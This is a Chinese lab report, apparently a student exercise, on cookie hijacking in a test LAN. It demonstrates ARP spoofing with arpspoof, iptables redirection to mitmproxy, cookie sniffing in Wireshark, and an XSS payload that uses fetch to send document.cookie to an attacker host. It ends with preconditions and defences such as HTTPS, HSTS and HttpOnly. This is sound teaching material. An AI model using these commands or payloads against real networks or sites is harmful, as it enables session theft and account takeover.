---
# System prepended metadata

title: Untitled

---

## 实验目的

通过Cookie劫持被动攻击和主动攻击实验，认识Cookie的的作用和重要性，并了解如何保护Cookie的安全。

### 实验环境

- http服务 go1.20.5
- 服务器 win11
- 攻击机 kali2023
- 受害者1 ubuntu23.04
- 浏览器1 firefox
- 受害者2 android13
- 浏览器2 via

假设攻击者和受害者位于同一局域网中，攻击者IP：192.168.107.129，受害者IP：192.168.107.128，服务器IP：192.168.107.1 网关IP：192.168.107.2

#### 实验代码路由

```go
/login
/register
/comment
```

访问过 register 路由之后，login 路由会直接读取 session 来识别用户。comment 路由是一个评论功能。

## 基础部分

### cookie 劫持被动攻击

攻击者打开ip转发功能，使用命令

```text
sudo bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
```

攻击者使用Arpspoof工具打开ARP欺骗功能，其中 192.168.107.128 是受害者IP地址，192.168.107.2 是网关地址，伪装成网关，就能够监听用户请求。使用命令：

```text
arpspoof -i eth0 -t 192.168.107.128 192.168.107.2
```

![image](https://hackmd.io/_uploads/By8v9s3Qp.png)

ARP欺骗已经成功开启

攻击者打开WireShark抓包工具，选择接口eth0，开始抓包

受害者访问 http://192.168.107.1:8000/register 首先设置用户名，访问 http://192.168.107.1:9000/login, 可以看见自己的用户名

![image](https://hackmd.io/_uploads/S1eRqnhmT.png)


攻击者选择 http 筛选即可找到cookie

```
mysession=MTY5OTY5MTMzOXxEdi1CQkFFQ180SUFBUkFCRUFBQUpmLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBa0FCMmRwWVdOdmJXOD18y4LmPkJa0m62eGKS7gABLg2KZGdWvsqiFa9RAruEI4g=
```

![image](https://hackmd.io/_uploads/Skzqs33ma.png)

把 cookie 导入至火狐浏览器，刷新页面，即可登录受害者的账户。

![image](https://hackmd.io/_uploads/rJhQR3hQT.png)


### Cookie劫持主动攻击

假设攻击者和受害者位于同一局域网中，攻击者IP：192.168.107.129，受害者IP：192.168.107.128，服务器IP：192.168.107.1，网关IP：192.168.107.2，假设受害者已经登录了他在192.168.107.1 的账户

![image](https://hackmd.io/_uploads/H1UtxGama.png)


攻击者打开ip转发功能.使用Arpspoof工具打开ARP欺骗功能，其中 192.168.107.128 是受害者IP地址，192.168.107.2 是网关地址，伪装成网关。使用命令：

```text
arpspoof -i eth0 -t 192.168.107.128 192.168.107.2
```

此时网关的 mac 地址已经受骗
![image](https://hackmd.io/_uploads/H1-L7famT.png)

设置 iptables 的端口转发，其中 8081 为mitmproxy 的端口

```text
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8081
```

用 mitmproxy 修改返回的 html，添加 `<img src="">` 代码

![image](https://hackmd.io/_uploads/B15GIWaXp.png)

在浏览器中验证已经插入代码

![image](https://hackmd.io/_uploads/H1zuwZTmT.png)

wireshark 抓包得到了cookie

![image](https://hackmd.io/_uploads/Hy6Z_bpma.png)

和被动攻击类似。将cookie导入浏览器，可以登录。

## 拓展部分

### 在手机上使用 xss 泄露 cookie

模拟一个有xss漏洞的评论系统。XSS跨站脚本攻击（Cross Site Scripting），的本质是攻击者在web页面插入恶意的script代码（这个代码可以是JS脚本、CSS样式或者其他意料之外的代码），当用户浏览该页面之时，嵌入其中的script代码会被执行，从而达到恶意攻击用户的目的。比如读取cookie，session，tokens，或者网站其他敏感的网站信息。

<img src="https://hackmd.io/_uploads/S1NzagR7a.png" alt="image" style="zoom:50%;" />

插入恶意的评论 

- onerror 事件会在文档或图像加载过程中发生错误时被触发。
- document.cookie 获取网页的 cookie
- fetch 带上 cookie 发送请求

```html
<img src='1' onerror='fetch("http://ip:9000/?flag="+document.cookie)'>
```

当受害者点击这个评论界面，就会将 cookie 发送给 ip。接收该请求：

![image](https://hackmd.io/_uploads/ByTeRxCXT.png)

把 cookie 导入进浏览器，经过验证可以登录
![image](https://hackmd.io/_uploads/SyoNhe0Qp.png)

## 实验结论

### 基于 http 的 cookie 泄露

#### 攻击者攻击的前提条件

1. 攻击者和受害者必须处在同一局域网当中，这样攻击者才能够拦截到受害者的网络流量

2. 受害者在攻击者攻击前登录了相应的网站，该网站存在未使用HTTPS加密的页面

#### 预防方法

对于网站开发者，应对网站启用HTTPS以及HSTS，HSTS的作用是强制客户端（如浏览器）使用HTTPS与服务器创建连接；开发者应对网站的Cookie设置Secure和HttpOnly安全标志，设置了Secure安全标志后Cookie会仅在使用HTTPS协议时发送，使用HTTP协议不发送。

对于普通用户，应做到尽量不连接未加密的公共WiFi网络（如机场、咖啡店等场所的免费WiFi），在连接到公共WiFi时也应该尽量避免输入用户名和口令进行登录操作，防止Cookie泄露。

### 基于 xss 的 cookie 泄露

#### 攻击者攻击的前提条件

1. 网站存在 xss 漏洞

2. 受害者在攻击者攻击前登录了相应的网站3

#### 预防方法

开发者过滤用户输入，将用户输入转义，而不是直接以html格式显示。设置 HTTP-only Cookie:，禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。